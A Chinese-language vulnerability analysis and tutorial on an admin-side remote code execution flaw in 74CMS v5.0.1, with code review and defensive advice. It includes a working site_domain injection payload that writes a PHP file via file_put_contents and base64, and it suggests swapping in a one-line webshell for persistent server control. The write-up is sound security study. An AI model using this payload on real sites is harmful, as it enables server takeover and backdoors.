74CMS后台RCE分析
字数 1345 2025-08-22 12:23:36
74CMS后台RCE漏洞分析与利用教学文档
漏洞概述
74CMS v5.0.1版本存在一个后台远程代码执行(RCE)漏洞,攻击者通过精心构造的恶意请求可以在服务器上执行任意PHP代码。该漏洞需要管理员权限才能利用,但利用思路巧妙,通过网站域名设置功能实现代码注入。
影响范围
- 受影响版本:74CMS v5.0.1
- 利用条件:需要登录后台管理账户
漏洞复现
环境搭建
- 从74CMS官网下载v5.0.1版本系统安装包:http://www.74cms.com/download/index.html
- 在本地使用PHPstudy搭建测试环境
漏洞利用步骤
- 使用管理员账号登录后台
- 点击保存网络配置并使用BurpSuite抓包
- 构造恶意payload修改
site_domain参数:
site_domain=', file_put_contents('403.php',base64_decode('PD9waHAgcGhwaW5mbygpOz8%2b')),'
其中PD9waHAgcGhwaW5mbygpOz8+是<?php phpinfo();?>的base64编码
- 发送修改后的请求
- 访问
/74cms/Application/Common/Conf/url.php触发恶意代码执行 - 成功写入
403.php文件,内容为<?php phpinfo();?> - 访问
403.php验证漏洞利用成功
实战利用:可将文件内容修改为一句话木马实现getshell
漏洞分析
漏洞触发流程
- 攻击者通过后台配置功能提交恶意构造的
site_domain参数 - 系统将恶意代码写入
Application/Common/Conf/url.php配置文件 - 访问该配置文件时触发恶意代码执行
- 恶意代码在服务器上创建Webshell文件
关键代码分析
漏洞位于/Application/Admin/Controller/ConfigController.class.php文件的edit()方法:
public function edit(){
if(IS_POST){
$site_domain = I('request.site_domain','','trim');
$site_domain = trim($site_domain,'/');
// ...省略其他代码...
if($site_domain && $site_domain != C('qscms_site_domain')){
// ...省略域名处理逻辑...
$this->update_config($config,CONF_PATH.'url.php');
}
}
$this->_edit();
$this->display();
}
I函数分析
ThinkPHP的I函数用于安全获取输入参数,其工作流程:
- 参数过滤:默认使用
htmlspecialchars过滤 - 变量类型转换:支持强制转换为整型(d)、字符串(s)、数组(a)等
- 特殊字符过滤:通过
think_filter函数过滤SQL注入等危险字符
update_config函数分析
位于Application\Common\Controller\BackendController.class.php:
public function update_config($new_config, $config_file = '') {
!is_file($config_file) && $config_file = HOME_CONFIG_PATH . 'config.php';
if (is_writable($config_file)) {
$config = require $config_file;
$config = multimerge($config, $new_config);
file_put_contents($config_file, "<?php \nreturn " . stripslashes(var_export($config, true)) . ";", LOCK_EX);
@unlink(RUNTIME_FILE);
return true;
}
return false;
}
该函数将配置数组合并后写入文件,未对内容进行充分过滤,导致恶意代码被写入配置文件。
漏洞利用技巧
- Payload构造:利用PHP的字符串连接和函数执行特性构造恶意代码
- Base64编码:绕过可能的过滤机制
- 二次触发:需要访问url.php文件才能使写入的代码执行
- 权限维持:可写入持久化后门而非一次性代码
防御建议
- 对用户输入进行严格过滤,特别是配置项的值
- 限制配置文件中可写入的内容类型
- 对文件写入操作增加内容安全检查
- 及时更新到最新版本
- 最小化后台管理权限
总结
该漏洞展示了即使需要管理员权限的漏洞也不容忽视,攻击者一旦获取后台权限,可通过看似无害的功能点实现服务器完全控制。开发人员应重视所有用户输入的安全处理,特别是系统配置相关功能。